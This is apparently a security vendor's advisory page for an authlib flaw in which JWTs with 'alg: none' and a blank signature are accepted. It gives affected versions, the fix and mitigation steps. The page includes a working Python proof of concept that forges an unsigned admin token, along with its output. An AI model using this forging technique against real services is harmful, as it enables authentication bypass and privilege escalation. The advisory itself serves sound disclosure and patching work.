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Not in CISA KEV

GHSA-7wc2-qxgw-g8gg authlib

Fix: authlib/authlib@a61c2ac

GHSA-7wc2-qxgw-g8gg is a CWE-347 vulnerability in authlib. A fix is available for authlib — see the affected versions and patch details below.

Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Also known asCVE-2026-28802PYSEC-2026-2118
Published
Mar 4, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7wc2-qxgw-g8gg.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍authlib

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details

It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

PoC

from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat": 1735603200,
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")

Output:

pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py 
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py 
VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact

Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:

  • Authentication bypass
  • Privilege escalation
  • Unauthorized access
  • Modification of application data

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIauthlib1.6.5&&< 1.6.71.6.7pip install --upgrade 'authlib==1.6.7'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for authlib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update authlib to 1.6.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7wc2-qxgw-g8gg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7wc2-qxgw-g8gg can be triaged on real exposure rather than presence alone.

Tailored to GHSA-7wc2-qxgw-g8gg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/lightspeed-chatbot-rhel9:1774417022RHSA-2026:6309
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/lightspeed-chatbot-rhel9:1774417022RHSA-2026:6404
Red Hat Quay 3.10quay/quay-rhel8:1773971077RHSA-2026:5665
Red Hat Quay 3.12quay/quay-rhel8:1773771962RHSA-2026:4942
Red Hat Quay 3.15quay/quay-rhel8:1775169219RHSA-2026:6568
Red Hat Quay 3.16quay/quay-rhel9:1779204086RHSA-2026:19375
Red Hat Quay 3.9quay/quay-rhel8:1773936323RHSA-2026:5168

Frequently Asked Questions

### Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. ### Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75 ### PoC ``` from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives i
O3 Security · Impact-Aware SCA

Is GHSA-7wc2-qxgw-g8gg in your dependencies?

O3 Security finds GHSA-7wc2-qxgw-g8gg across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-7wc2-qxgw-g8gg: authlib Auth Bypass | O3 Security